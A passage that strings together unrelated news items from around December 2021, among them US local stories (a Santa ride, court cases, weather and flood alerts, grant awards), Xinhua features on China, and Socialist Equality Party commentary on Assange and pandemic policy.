up location and a truck for Santas ride. Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}} It was so well received last year that they decided to do it again this year, Milburn said. It is a neat event, and we wanted to continue it. There is additional assistance from EK Machine and JRC Enterprises. Columbus Chamber of Commerce and Columbus Downtown Development are assisting Santa with decorations on the sleigh. The first ride in 2020 came about while the community was trying to find a safe way to celebrate the holiday as a whole while many holiday events were canceled due to the pandemic, Milburn said. Siddiqi said IPT has a history of spreading "hate, vitriol and anti-Islamic misinformation. That includes calling CAIR itself a terrorist organization. CAIR spokesperson Edward Mitchell said the group has sent IPT notice of its findings and sent it a legal warning not to destroy any evidence. FBI spokesperson Todd Lindgren said the government does not keep a list of hate groups or terrorist organizations on domestic soil, because the First Amendment protects the rights of all Americans to free speech. Nabeel Raazi, who chairs the board of CAIRs Columbus-Cincinnati region, which Iqbal had overseen since 2018, called his alleged actions a betrayal and incredible violation of trust. We know this is heartbreaking. We know it's shocking," Siddiqi said. We know it is honestly a feeling that many of us can't describe right now. But our work to protect Muslims, to defend Muslims transcends any one individual and, if anything, this has motivated us, this has reinvigorated us to do the work that we do. A former Rock County sheriffs deputy has been arrested on suspicion of sexually assaulting multiple children, the state Department of Justice Division of Criminal Investigation reported Wednesday. Gary A. Huber, 34, was arrested in Fort Wayne, Indiana, on Monday. Huber worked as a Rock County deputy sheriff from August 2016 through July of this year, when he resigned to avoid an internal investigation, DCI said in a statement. Huber is charged with one count of first-degree child sexual assault or sexual contact with a child under age 13, one count of repeated sexual assault of a child, three counts of child enticement, two counts of causing a child under age 13 to view/listen to sexual activity, and three counts of exposing genitals or private parts. The criminal complaint states that Huber assaulted multiple underage children between 2010 and 2016, DCI said. The Rock County Sheriffs Office said in a statement that on July 1 allegations of criminal behavior by Huber were made to sheriffs officials, and the alleged criminal behavior occurred prior to Huber being hired as a deputy in August 2016. When requested by sheriffs officials to meet regarding the allegations, Huber refused and promptly resigned, effective July 1. If the state high Court rejects these maps in favor of a more egregious gerrymander, it will be yet another proof point that they are more concerned with politics than the law, Chheda added. Kaul hopeful Democratic Attorney General Josh Kaul said on Tuesday the Supreme Courts ruling dealt a serious blow to those seeking a drastic change from maps Republicans drew in secret in 2011, but added its still possible the next maps deviate away from existing boundaries, which have allowed Republicans to hold sizable majorities in the state Senate and Assembly for the last decade. The more we can move from those kinds of maps to maps that are more competitive and are fair, the better, Kaul said. So I remain hopeful that the maps will improve from the current maps, but because of the least-change approach being applied were not going to be able to get from where we currently are to maps that are truly fair. The UW Board of Regents recently approved the layoff of a tenured professor whose academic program had been discontinued, the first time it has exercised this authority since program cuts were controversially added in 2016 as a reason to lay off faculty. The board on Friday signed off on the layoff of a UW-Platteville associate professor in the School of Education. The professors name was not included in board documents but System spokesperson Mark Pitsch identified the individual as Wonim Son. No discussion took place, a marked contrast to how the tenure debate began when Republicans removed tenure protections from state law and the Regents wrote a slightly different version into policy. The tenure episode sparked backlash on campuses, drew national attention and led to a series of symbolic no-confidence votes in Ray Cross, who was then president of the University of Wisconsin System. Tenure offers protection for academic freedom, the principle that professors creating knowledge and expressing ideas should be free to do so without the threat of intimidation or retaliation. Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}} Existing attractions will now need to pledge a project of at least $5 million and new attractions investments will have to be $10 million or more. In addition, attractions will need to carefully detail how they are going to attract more visitors. The original design of the ordinance had a $2 million investment that a developer would have to make, said Diehl. We learned really rapidly that investment in an attraction is not going to get you what you want. Mt. Olympus Water and Theme Parks upcoming innovative waterslide, Medusas Slidewheel, is a key example of the attractions wanted via the ordinance modification. Diehl expects the slide, which is part of a $23 million expansion project at Mt. Olympus, to help attract around 200,000 new visitors during the summer. The village granted Nick Laskaris, the owner of Mt. Olympus, $1.6 million for the new slide. Diehl is also hoping for an expansion of Ripleys Believe It or Not Museum in Wisconsin Dells. Ripleys Aquarium, a series of aquariums that reside in other tourism destinations such as Gatlinburg, Tennessee, Branson, Missouri, and Myrtle Beach, South Carolina, is an attraction Diehl thinks, based on evidence from other sites, could be a boon to the area. ILION, N.Y. Central Valley Central School District was facing transportation issues Tuesday due to a shortage of drivers at Birnie Bus, but the bus company says they can return to the normal schedule on Wednesday. CVCSD and Herkimer Central School District had to fall back on contingency plans Tuesday when Birnie Bus notified the districts of a driver shortage. Herkimer decided to close schools for a day and then switch to remote learning. Central Valley opted for a different approach. Superintendent Jeremy Rich asked parents and students to find a way to get to classes without bus transportation until further notice. Luckily, those alternatives were short-lived after Birnie Bus notified Central Valley Tuesday that they would be able to resume normal busing on Wednesday. It is not yet clear what the bus company did to resolve the shortage. NEWSChannel 2 has reached out to Herkimer CSD to see if they have changed plans as well, but is awaiting a call back. FRANKFORT, N.Y. Employees at the Tractor Supply Distribution Center in Frankfort donated several food items to help senior citizens in need this holiday season. The food was donated to the Herkimer County Office for the Aging Monday to benefit local seniors. The office staff packed up the items and delivered them to seniors who they say were grateful for the generosity. Upstate Family Health Center is holding a vaccination clinic at Whitesboro Fire Department for anyone aged 5 and older. The walk-in clinic is open until 6 p.m., offering Pfizer pediatric doses and all three brands of adult doses. "Its a great thing. Get your shot, come down now, you're not gonna pay for anything, you don't have to have an appointment; do it, if you don't do it for yourself do it for your other family members, said Whitesboro Mayor Robert Friedlander, who stopped by the clinic Wednesday morning. The fire department is located at 171 Oriskany Blvd. Highs today reached balmy 53-58 over the viewing area. Normal highs are 34-37 for the time of year (37 at Greater Lafayette). Wave of numerous showers will pass tonight to early Wednesday morning. They will then become isolated to spotty before completely ending by 12:30-1 p.m. Cloudy to mostly cloudy skies will follow. After gusts 25-35 mph in the morning, winds will increase to gusts to 40-50 mph in the afternoon-evening (from the south-southwest). Temperatures will warm to 60-64 by tomorrow evening-night. Fast-moving line of severe storms with widespread damaging winds will race trhoguh Minnesota, Iowa, eastern Nebraska, Kansas & into Missouri. Multiple quick EF0-EF2 tornado spin-ups are expected in southern Minnesota to Iowa to western Wisconsin as temperatures soar to record warm levels there (even with snow on the ground!). Here, ahead of the line, south-southwest winds will gust 40-55 mph Wednesday night. Line should reach the Iowa-Illinois border by 10 p.m. Line will become less organized as it races into our area from the northwest, but gusts 55-70 mph are possible with it. Passage of it would be in the 1 a.m. to 5 a.m. time frame. At just 1000' winds will be sustained at 45 mph (without any gusts) & 60 mph at 2400'. So, with what little buoyancy there is, it would not be hard to get intense gusts to the surface with the line. Low-level helicity is very impressive for tornado spin-ups, but Effective low-level & bulk shear is low. Lack of good focused CAPE is a detriment to isolated, brief tornado risk. It just looks like a thin, ropey line of a brief rain squall with damaging gusts. Behind it, winds may still gust 40-50 mph, but from the west to northwest & temperatures will fall from 60-64 to 40-50 quickly. Wave of wind-driven showers will occur behind. Showers will end Thursday morning, followed by clearing skies & winds diminishing to gusts of 20-30 mph by early afternoon & 18-25 by early evening with temperatures 34-41. Showers moving in Friday may start as some sleet & flakes in part of the area. All rain Friday night may end as bring rain/snow to snow Saturday morning, followed by a few flurries/snow showers potentially Saturday. After 30s to 40 Friday (after morning lows in the 20s), we should hit 39-44 Friday night, followed by 33-36 Saturday morning, then 35-40 Saturday afternoon with some clearing late. East to east-southeast winds 8-15 mph Friday & 10-20 mph Friday night, north to north-northwest wind Saturday may run 20-30 mph. Sunday-Tuesday looks dry. Dry cold front will usher in another shot of colder air for Tuesday. Systems looks to pass near Christmas Eve-Christmas morning & December 26-27. Temperatures will determine dominant precipitation type whether it be rain, mix or snow. Storm tracks are also very tricky at the moment. Timing of the coldest air is tricky too! We will monitor! INDIANAPOLIS, Ind. (WLFI)-Greater Lafayette was awarded 30 million dollars today from the state for economic development. That money is part of the Indiana Regional Economic Acceleration and Development Initiative. Officials were hoping for $50 Million from the READI grant but the state didn't award them quite that much. "There were 17 regions that submitted across the state and basically we received the second-highest award which is quite an accomplishment I think," said Tippecanoe County Commissioner Tom Murtaugh. Since Greater Lafayette didn't get the $50 million they applied for, officials may have to prioritize some projects over others. "We all just sort of have to sort of go back to our notes and take our pencils out with erasers on them now and figure out what we can cut then have some meetings and figure out what those priorities will be," said West Lafayette Mayor John Dennis. "The good thing is this is great news for our region. "- Projects the area would like to see accomplished include a 90-mile trail from Covington to Logansport. There is also a plan for a $25 million dollar terminal at the Purdue Airport and the addition of commercial flights to name a few. The airport at Purdue is one major project that has garnered a lot of attention. "It would help us as far as commerce goes it would help us as far as visitation and tourism and become even more of a focal point for central Indiana," said Mayor Dennis. While they weren't able to share exactly which project will take priority in the coming future they are hopeful more funding could come from the state in the next budget. "We are optimistic you know the governor made a statement about the fact in the next budget there could be additional funding for READI so we are certainly hoping there will be additional funding coming down the pike as well," said Murtaugh. The READI grant does require communities to match funds for projects, which is something Greater Lafayette officials will be figuring out moving forward. To watch the full announcement click here. TIPPECANOE COUNTY, Ind. (WLFI) A judge will decide if Wabash Township Trustee Jennifer Teising was a so-called "snowbird" or if she packed up last year with real intentions to move to Florida while continuing to hold office. The prosecution and defense on Wednesday wrapped up their closing arguments on the third day of the bench trial against Teising. At the center of the trial is Teising's residency. Prosecutors say Teising lived outside the township last year, forfeiting her position as trustee while continuing to collect a township paycheck. She was indicted by a grand jury earlier this year on 21 counts of felony theft. Teising contends she's lived with an ex-boyfriend at a home on Knox Drive ever since selling her home. But Deputy Prosecutor Natasha Corbett disagreed. "It was a glorified post office box," she said Wednesday. Teising's defense attorney, Karen Celestino-Horseman, noted BMV, voter registration and bank forms showed her legal address as Knox Drive. She described Teising's cross-county travel last year as "snowbirding," or vacationing to warmer climates during the winter. "All they're focused on is her physical location," Celestino-Horseman said. As News 18 previously reported, Teising bought a truck and travel trailer after selling her West Lafayette home in June 2020. Friends and ex-employees called to testify Tuesday detailed Teising's cross-country travel last year to places like Anderson, Indiana, Colorado and, finally, Florida. A contract with an RV park in Panama City Beach, Florida, showed she reserved a spot from October 2020 to April 2021. Phone records show she spent only 27 days in West Lafayette in a nine-month period from June 2020 to March 2021. Teising spent "not even a tenth of time sleeping in the West Lafayette area," Corbett said. Tippecanoe County Democratic Party Vice Chair Steve Snyder also testified Wednesday. He recalled Teising walker her dog along a beach in Florida during a past video call. He said Teising refused to resign earlier this year when approached by party leaders. "It's nobody's business but her's where she lives at," Snyder said of her response. Teising waived her right to a jury trial and instead opted for a bench trial. That means Superior Court 5 Judge Kristen McVey will decide if she's guilty or innocent. McVey must consider what residency actually means under state law. Does it require, for example, a physical presence or simply an address to call home? McVey is taking the evidence under advisement but it's unclear when she'll issue a verdict. Photo taken on Nov. 23, 2020 shows a turret of the Palace Museum (front) and buildings in CBD area (rear) of Beijing, capital of China. [Xinhua/Ju Huanzong] Ion Antonescu, former secretary of state for culture and owner of one of the country's largest travel agencies said that China is "a favourite travel destination because it's a world in a country." BUCHAREST, Dec. 13 (Xinhua) An "immersive journey" into Chinese culture took place in Bucharest on Monday, through the launch of the "Discover China" series of books. "Off the Wall How we fell for China" by William N. Brown, and some other books have been published in Romanian by Corint Publishing House and the Foreign Language Press in Beijing. "We started this project five years ago to promote cross-cultural knowledge and introduce aspects of Chinese reality and culture," said Raluca Sofronie, editor with Corint Publishing House. "We'll continue to translate a wide array of educational and informative books on Chinese society, culture, history, and philosophy," Sofronie said. Marina Almasan, a TV producer with Romanian National Television, said that "Brown's book is a lesson for all those who are biased towards China out of ignorance and because of having shaped their ideas according to negative distorted propaganda." Photo taken on Nov. 3, 2021 shows the night scenery in east China's Shanghai. The 4th China International Import Expo (CIIE) is scheduled for Shanghai from Nov. 5 to 10. [Xinhua/Zhang Qiangjun] "I also fell in love with China after my first trip there. China is a phenomenon. Those who speak in stereotypes are ignorant. With all due respect, there are people who still believe the Chinese are backward and all dressed in gray uniform-like tunics," she added. Luminita Balan, Romanian director of the Confucius Institute attached to the University of Bucharest, said that China will "remain a profound civilization of mankind." "Brown's book is based on the letters he sent while he was living in China with his family, and he explains that many statements about China are wrong and one has to live in China to see the reality, and to remove all false perceptions," Balan said. "This book made me live again with open eyes my own experiences with China in the 1980s. We can recognize elements of the enriching Chinese civilization and philosophy. China creates opportunities for self-introspection and reflection about the world. It's a country that can re-invent itself." People enjoy the night view at a bar in southwest China's Chongqing Municipality, Dec. 8, 2021. Chongqing has adopted various activities to promote night economy. [Xinhua/Tang Yi] "I recommend to everybody to visit China because it's a unique experience," said Florin Burican, a sinologist who studied in Beijing, where he married a Chinese woman and moved with her to Bucharest. Ion Antonescu, former secretary of state for culture and owner of one of the country's largest travel agencies said that China is "a favourite travel destination because it's a world in a country." (Source: Xinhua) The national flags of China and Russia are seen on Red Square, Moscow. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. MOSCOW, Dec. 14 (Xinhua) Chinese President Xi Jinping will meet with Russian President Vladimir Putin via video link on Wednesday, another virtual conference this year following the one in June. Since the beginning of this year, China and Russia have taken the celebration of the 20th anniversary of the signing of the China-Russia Treaty of Good-neighborliness and Friendly Cooperation as a new starting point to promote strategic coordination and comprehensive practical cooperation between the two countries. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. Chinese President Xi Jinping holds talks with Russian President Vladimir Putin via video link in Beijing, capital of China, June 28, 2021. [Xinhua/Ding Lin] The heads of state have maintained frequent and close contacts in 2021. In May, Xi and Putin witnessed the ground-breaking ceremony of a bilateral nuclear energy cooperation project via video link. In June, the presidents met via video link to jointly announce the extension of the China-Russia Treaty of Good-Neighborliness and Friendly Cooperation. In July, Xi sent a message of condolence to Putin over the crash of a Russian passenger plane. In August, the leaders held a phone conversation to discuss bilateral ties and the Afghan situation. With China being Russia's top trading partner for many consecutive years, their bilateral trade exceeded 100 billion U.S. dollars in 2018 for the first time and has maintained the momentum despite the COVID-19 pandemic. In the first 10 months of this year, China-Russia trade in goods reached a record of 115.6 billion dollars, topping the whole-year volume of 2020, official statistics showed. Image released by the China National Space Administration (CNSA) on Dec. 4, 2020 shows China's national flag unfurled from the Chang'e-5 probe on the moon. In March, China and Russia signed a memorandum of understanding on jointly establishing an international scientific research station on the moon. The China-Russia Year of Scientific and Technological Innovation concluded last month, which saw more than 1,000 events for exchanges on scientific innovation and cooperation. The No. 7 and No. 8 units of the Tianwan nuclear power plant and the No. 3 and No. 4 units of the Xudapu nuclear power plant started construction in May, which are the biggest China-Russia joint project in the field of nuclear energy. Photo taken on May 18, 2021 shows a construction site where Units 7 and 8 of the Tianwan nuclear power plant are about to be built, in Lianyungang City, east China's Jiangsu Province. [Xinhua] A joint military exercise between China and Russia, named ZAPAD/INTERACTION-2021, was carried out in northwest China. The two navies conducted their first joint maritime cruise, and the two air forces carried out their third joint strategic aerial patrol. The two militaries strengthened coordination via participating in the "Peace Mission 2021" counter-terrorism military drill of the Shanghai Cooperation Organization member states and the International Army Games 2021. The exercise ZAPAD/INTERACTION-2021 kicks off at a combined arms tactical training base of the PLA Army in Qingtongxia City of West China's Ningxia Hui Autonomous Region on August 9, 2021. [Chinese Ministry of National Defense] As comprehensive strategic partners of coordination for a new era, China and Russia firmly support each other on major issues concerning each other's core interests, coordinate closely on international affairs, and play a pivotal role in maintaining global peace and stability, Chinese Ambassador to Russia Zhang Hanhui has said. (Source: Xinhua) Nyima (R), a Sherpa villager, and his family hold a Chinese national flag in front of their house in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region on Nov. 25, 2021. [Xinhua/Purbu Zhaxi] LHASA, Dec. 15 (Xinhua) Zhentang, a border town in southwest China's Tibet Autonomous Region, is one of the Sherpa settlements deep in the Himalayas, with an elevation of 2,000 meters on average. Significant changes have occurred here in recent years. A number of infrastructure projects have been implemented. Zhentang has also focused on the development of cross-border trade, aquaculture, tourism, and processing industries with local characteristics in order to boost villagers' income. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). Namkha, an inheritor of the intangible cultural heritage of Sherpa singing and dancing, sings in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region, Nov. 27, 2021. [Xinhua/Sun Ruibo] Combo photo taken on Nov. 24, 2021 shows Sherpa villagers in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region. [Xinhua/Purbu Zhaxi] Combo photo taken on Nov. 25, 2021 shows three Tibetan Opera actors posing for pictures in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region. [Xinhua/Sun Ruibo] Sherpa women talk with each other at a square in their village in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region on Nov. 24, 2021. [Xinhua/Purbu Zhaxi] Combo photo taken on Nov. 25, 2021 shows Lhapa Tagye feeding chickens at his chicken farm (top) and Lhapa sitting in his car bought after he opened the farm in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region. [Xinhua/Sun Ruibo] Sherpa parents pick up their children after school in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region, Nov. 24, 2021. [Xinhua/Purbu Zhaxi] Aerial photo taken on Nov. 27, 2021 shows a view of Zhentang Township in Xigaze, southwest China's Tibet Autonomous Region. [Xinhua/Purbu Zhaxi] Third-year primary school student Wangmo reads a textbook in class in Zhentang Township of Xigaze, southwest China's Tibet Autonomous Region, Nov. 24, 2021. [Xinhua/Purbu Zhaxi] (Source: Xinhua) Weather Alert ...The National Weather Service in Paducah KY has issued a Flood Warning for the following river in Kentucky...Illinois... Ohio River at Paducah affecting McCracken, Livingston, Pope and Massac Counties. .Rainfall last weekend has caused rises in water levels along the Lower Ohio River Basin this week. This will cause minor flooding near Paducah early next week. For the Ohio River...including Paducah, Olmsted Lock and Dam, Cairo...Minor flooding is forecast. PRECAUTIONARY/PREPAREDNESS ACTIONS... Motorists should not attempt to drive around barricades or drive cars through flooded areas. Caution is urged when walking near riverbanks. Turn around, don't drown when encountering flooded roads. Most flood deaths occur in vehicles. Additional information is available at www.weather.gov. && ...FLOOD WARNING IN EFFECT FROM MONDAY EVENING THROUGH TUESDAY EVENING... * WHAT...Minor flooding is forecast. * WHERE...Ohio River at Paducah. * WHEN...From Monday evening to early Wednesday morning. * IMPACTS...At 39.0 feet, Minor flooding occurs affecting mainly bottomland and surrounding low lying areas. * ADDITIONAL DETAILS... - At 11:00 AM CST Wednesday the stage was 33.6 feet. - Forecast...The river is expected to rise above flood stage Monday evening to a crest of 39.0 feet Monday evening. It will then fall below flood stage Tuesday evening. - Flood stage is 39.0 feet. - http://www.weather.gov/safety/flood && ...WINTER WEATHER ADVISORY IN EFFECT FROM 6 AM TO 4 PM CST THURSDAY... * WHAT...Snow expected. Total snow accumulations 1 to 2 inches. Locally 3 inches possible parts of west Kentucky. * WHERE...Portions of southwest Indiana, southeast Missouri, western Kentucky and southern Illinois. * WHEN...From 6 AM to 4 PM CST Thursday. * IMPACTS...Plan on slippery road conditions. The hazardous conditions could impact the morning commute. PRECAUTIONARY/PREPAREDNESS ACTIONS... Slow down and use caution while traveling. && Teaching union calls for staggered return to schools in Wales ahead of the new year A teachers union has called for a staggered return to schools in Wales after the Christmas break. The NASUWT is urging the Welsh Government to act immediately and to not delay critical decisions until the commencement of the school and college holiday period. The union said it notes with the utmost concern a statement by the First Minister on 12 December that Omicron is a fast-moving form of Coronavirus which has the potential to cause a large wave of infections in Wales. Wrexham Council has already announced an early end to face-to-face learning for schools in the county with a move to blended learning for the final three days of the term next week. Dr Patrick Roach, General Secretary of the NASUWT is calling for additional measures to slow the spread of COVID 19 to be considered in schools In a letter to Wales Education Minister Jeremey Miles, Dr Roach said: In light of the evidence emerging daily regarding the impact of the Omicron variant the latest modelling which suggests that case numbers hospitalisations and deaths will continue to increase throughout January, and the raising of the Covid threat level to Level 4. I must urge you now to consider the immediate introduction of additional education measures to help slow the spread of Covid-19 and to minimise further disruption to education. He said: In addition to wider community-level measures we believe that additional measures will be required within schools and colleges now and as they return after the Christmas break. The forecast scientific trajectory for the Omicron variant has worsened significantly since the end of November, and available evidence strongly points to the need for additional control measures to be in place now and through the start of next term. Dr Patrick Roach, General Secretary of the NASUWT is calling for additional measures to slow the spread of COVID 19 to be considered in schools #NASUWT #NASUWTCymru #Education #Covid19 #SlowTheSpread pic.twitter.com/Ww82ieWGlm NASUWT Cymru (@NASUWTCymru) December 14, 2021 Dr Roach said: We ask you to avoid a repeat of the confusion and chaos which last year impacted negatively on public and parental confidence and hampered the hard work of teachers and school and college leaders in their preparations at the start of 2021. An immediate announcement from the Welsh Government on additional measures for schools and colleges we believe is essential before the majority of schools and colleges close for the Christmas break. Such additional measures we would ask you to consider would include staggering the return of pupils to all schools and colleges at the start of January 2022. The union is requesting that additional onsite testing be provided throughout the period between January and the February 2022 half-term. It has also demanded further guidance for schools in light of the Omicron variant and the postponement of non-essential events to be moved online. The NASUWT believes that these measures together with wider Welsh Government measures including on vaccinations are proportionate and responsible and will contribute to our shared aim of minimising further disruption to childrens education. The Socialist Equality Party (SEP) has called an online public meeting next Wednesday December 22 at 7 p.m. (AEDT) to advance the fight for the immediate freedom of Julian Assange, whose life has been placed in grave danger by last weeks British High Court decision to order his extradition to the US. Click here to register. The December 10 court ruling is a pseudo-legal travesty to justify the ongoing persecution of the WikiLeaks founder. The award-winning journalist and Australian citizen has been the victim of a decade-long political conspiracy by the governments of the United States, UK, Sweden and Australia. The Biden administration is intent on securing Assanges extradition to face charges of espionage that carry an effective life sentence and possibly the death penalty. His alleged crime is to publish documents exposing to the world the war crimes, mass surveillance and diplomatic intrigues of the US and its allies. After being arrested and dragged out of the Ecuadorian embassy in April 2019, where he had been confined for close to seven years by the British police, he has been jailed in the notorious Belmarsh prison, one of the UKs worst maximum-security facilities. There he has suffered psychological torture and extreme isolation, causing severe mental distress and the risk of suicide. His conditions are so unbearable that during the High Court appeal hearing in October he suffered a mini-stroke that temporarily blocked blood supply to his brain. Assanges life hangs in the balance. As Nils Melzer, the UN Special Rapporteur on Torture, has warned, the UK is literally torturing him to death. The judicial record proves that no confidence should be placed in an appeal to the UK Supreme Court or a European court. Nor can any confidence be placed in any section of the corporate media and political establishment, including in Australia, which bears central responsibility for Assanges dire predicament. It was the Greens-backed Labor Party government of Julia Gillard that in 201011 joined the US campaign against Assange, slandering him as a criminal and pledging full support for the efforts of the American intelligence agencies to destroy him. With growing outrage and disgust among ordinary people, the issue is how to take forward the fight to free Assange. That demand is inextricably tied to the broader struggle against massive social inequality, the drive to war and the criminal pandemic policies of the ruling elites that have allowed millions to die so that economies remain open and corporate profits flow. The SEP, which has fought for Assanges freedom for more than a decade, will do all it can to bring the fight for his liberty into the emerging struggles of the working classthe only force that can end this repression. We urge all defenders of democratic rights and opponents of imperialist war to participate in our meeting to discuss how to take forward this fight. Meeting time in relevant time zones: Sydney: 7 p.m., Wednesday, December 22 Brisbane: 6 p.m., Wednesday, December 22 Adelaide: 6:30 p.m., Wednesday, December 22 Perth: 4 p.m., Wednesday, December 22 Auckland: 9 p.m., Wednesday, December 22 Colombo: 1:30 p.m., Wednesday, December 22 New Delhi: 1:30 p.m., Wednesday, December 22 London: 8 a.m., Wednesday, December 22 New York: 3 a.m., Wednesday, December 22 Los Angeles: 12-midnight, Wednesday, December 22 To attend the meeting, register here. The emergency is over, declared Democratic Colorado Governor Jared Polis, during an interview with Colorado Public Radio last Thursday about the continuing pandemic. Polis stated emphatically that there will not be any statewide mask mandates or any other public health measures to control the spread of the coronavirus, and declared that COVID-19 infections were a matter of personal responsibility. Polis comments were brief but revealing, reflecting the current position of capitalist governments around the world that no new public health measures will be implemented to save lives. Colorado Governor Jared Polis on December 7, 2021, in Denver. (AP Photo/David Zalubowski) Our top goal is always to follow the science, and there was a time when there was no vaccine, and masks were all we had and we needed to wear them. The truth is we now have highly effective vaccines that work far better than masks, said Polis. If you wear a mask, it does decrease your risk of getting COVID, and thats a good thing to do indoors around others, but if you get COVID and you are still unvaccinated, the case is just as bad as if you were not wearing a mask. This statement by Polis is pure and utter nonsense. Masks have nothing to do with the severity of illness, but with impeding the ability of the virus to spread between people. Polis continued his idiotic tirade against public health measures by arguing that it was not the place of the state government to impose a statewide mask mandate, echoing the reactionary positions of the fascistic Republican Governor of Florida Ron DeSantis. You know, public health [officials] dont get to tell people what to wear; thats just not their job, he declared. Public health [officials] would say to always wear a mask because it decreases flu and decreases [other airborne illnesses]. But thats not something that you require; you dont tell people what to wear. You dont tell people to wear a jacket when they go out in winter and force them to [wear it]. If they get frostbite, its their own darn fault. If you havent been vaccinated, thats your choice. I respect that. But its your fault when youre in the hospital with COVID. Polis comments sound like the ravings of a moron of the highest order. But Polis is no fool. He knows exactly what he is saying and what the implications of his decisions will be. He is deliberately attempting to confuse the science on public health measures and obscure the fact that masks, in conjunction with broader health measures such as the closure of schools and nonessential workplaces, are crucial in impeding the spread of viral infection and saving countless lives. But Polis has no concern for those infected. If thousands of people become severely ill then so be it, as far as he is concerned. At least businesses will remain open without the minor inconvenience of mask wearing and social distancing. At the heart of Polis comments is pure disregard for the lives of working-class people. His declaration that contracting COVID-19 is your own darn fault was a consistent theme throughout the interview. Within a minute of the interview Polis claimed that Everybody had more than enough opportunity to get vaccinatedAt this point, if you havent been vaccinated, its really your own darn fault. Just a few minutes later he again stated that Frankly, people who want to be protected [have gotten vaccinated]. Those who get sick, its almost entirely their own darn fault. The illusion that the pandemic is over for the vaccinated was smashed by the Omicron variant just a few weeks ago, which has proven to exhibit strong resistance to existing vaccines and is several times more transmissible than Delta. Polis decision to pretend that vaccinated people are completely safe will have deadly consequences. Only two-thirds of adult Coloradans have been fully vaccinated, and as of December 7, just over 40 percent had received a booster shot. This leaves a significant portion of the population open to infection, illness and death. Polis refusal to implement public health measures is homicidal. He has effectively signed the death sentence for thousands of Coloradans, and his implicit declaration that the unvaccinated deserve to die is a sickening exposure of the disregard for human life within the ruling class. There is no regard for immunocompromised people who cannot be vaccinated, nor for those who are partially vaccinated, nor for the hundreds of thousands of children who have not yet been fully vaccinated. This interview and policy decision will have massive consequences across the country as well. Polis comments are being seized upon as justification for the full reopening of the economy and the lifting of any remaining public health measures. The New York Post, a voice for the most reactionary layers of New Yorks ruling elite, has embraced Polisa former member of the Congressional Progressive Caucuswith open arms, championing him as a hero of the endemic stage of the pandemic. In other words, accepting perpetual infection for the working class. The Post s Editorial Board used Polis interview to call upon New Yorks Democratic Governor Kathy Hochul to end all public health restrictions. It argued that, [Politicians] need to let people make their own COVID decisions, right or wrongespecially since the unvaxxed are no longer much of a health threat to the rest of us. This is a murderous myth that will cost countless lives. The ruling class, spearheaded by President Joe Biden and now Jared Polis, has promoted an extreme hyper-individualism throughout the pandemic. It has attempted to present the pandemic as a purely individual phenomenon in which infections and deaths are but a metric of personal risk. Polis frostbite analogy is especially pernicious. A person who suffers from frostbite does not risk passing it on to anyone else, but a person with COVID-19 may infect many others, putting their lives at risk. Such a comparison is not only nonsensical but a dangerous lie that will endanger countless people, especially now that the Omicron variant has arrived in Colorado. Just two days before Polis interview, Boulder County health officials announced that they had detected the Omicron variant in the municipal wastewater. Based on that information, officials believe that there are already low levels of community transmission of the variant in the city of Boulder. Additionally, in Denver, fewer cases are being recorded but testing from the Englewood-Littleton sewage plant has found high signs of COVID-19 prevalence in the south Denver metro populace, according to the Colorado Sun. The rising concentrations of COVID-19 in wastewater indicates that vaccinated people may be catching the virus but are not feeling sick enough to get tested, and presages a surge in reported cases. The next two months will be disastrous for Colorado, as the Omicron variant spreads and hospitals overflow. For the past two months Colorado hospitals have suffered from a shortage of staff and hospital beds. The situation has been so bad that the National Guard and Federal Emergency Management Agency (FEMA) have been called upon to provide support to the collapsing hospital system. Currently, 94 percent of acute care hospital beds are occupied in Colorado. If Omicron were to spread rapidly during the holiday season, then the hospital system would undoubtedly pass beyond its tipping point. Polis and all other politicians who have embraced the policy of vaccines only and herd immunity must be held responsible for the consequences of their malign neglect of the population. Expressing this sentiment, Trish Zornio, a scientist and lecturer at the University of Colorado Denver, wrote a column in the Colorado Sun calling out Polis disastrous decision. Even a more mild strain of the virus could produce more hospitalizations by reaching an overall greater share of the population more quickly, she warned. Polis gamble to declare the medical emergency over and continue to refute precautionary measures has already caused significant struggles for Coloradans, she added. Yet in the face of the omicron variant, its downright irresponsible. While hoping for the best outcome, should hospitals collapse in the coming months due to Polis miscalculation, he should be held accountable for these mistakes. Prime Minister Boris Johnsons Plan B measures to combat the escalating wave of Omicron variant infections were passed yesterday only in the face of a massive rebellion by hard-right Conservative MPs. Nearly 100 Tory MPs opposed the introduction of proof of vaccination or a negative test being required to enter some large venues. The measure passed by 369 votes to 126, with 96 Tories against. MPs also voted for mandatory vaccination for National Health Service (NHS) workers from April next year, with 100 against, while 38 Tory MPs voted against the government on face mask requirements in shops and on public transport. Sir Geoffrey Clifton-Brown, treasurer of the Tory backbench 1922 Committee, warned that a leadership challenge against Johnson is on the cards if he fails to change his approachindicating that even the most minimal anti-COVID measures will not be tolerated by the Tory vultures ready to devour his political corpse. Health Secretary Sajid Javid introducing "Plan B" measures in Parliament (Credit: Parliamentlive.tv) Johnsons days as party leader look numbered, recalling nothing more than the ebbing authority suffered by his predecessor Theresa May as the Brexiteer wing moved against her. It is now Johnsons turn because his former backers have concluded he does not have the spine to face off popular opposition as the ruling elite deepens its austerity drive and insists that it is now time to live with the virus, no matter the cost in death and suffering. Yesterdays grotesque debate was a warning of what is coming. Health Secretary Sajid Javid led the case for the governments Plan B measures with a chilling admission that Omicron is more transmissible than Deltacases are doubling every two days. Scientists, he said, estimate that 200,000 people are being infected daily with the new variant, with the NHS at risk of being overwhelmed even if Omicron turned out to be only half as severe as Delta. Javid was still underplaying what the government has been told, with Johnson telling his Cabinet that morning that a huge spike in Omicron cases is coming. This was confirmed by yesterdays 59,610 recorded COVID cases, the highest daily total since January 9, and up 12.1 percent on the previous week. It was Dr Susan Hopkins, the governments most senior public health adviser, who told MPs that Omicron cases had likely reached 200,000 a day. She also warned daily infections could reach 1 million by the end of December. Chris Hopson, chief executive of NHS Providers, told the all-party parliamentary group on coronavirus, All the evidence we have in front of us suggests that there will be a considerable impact [from 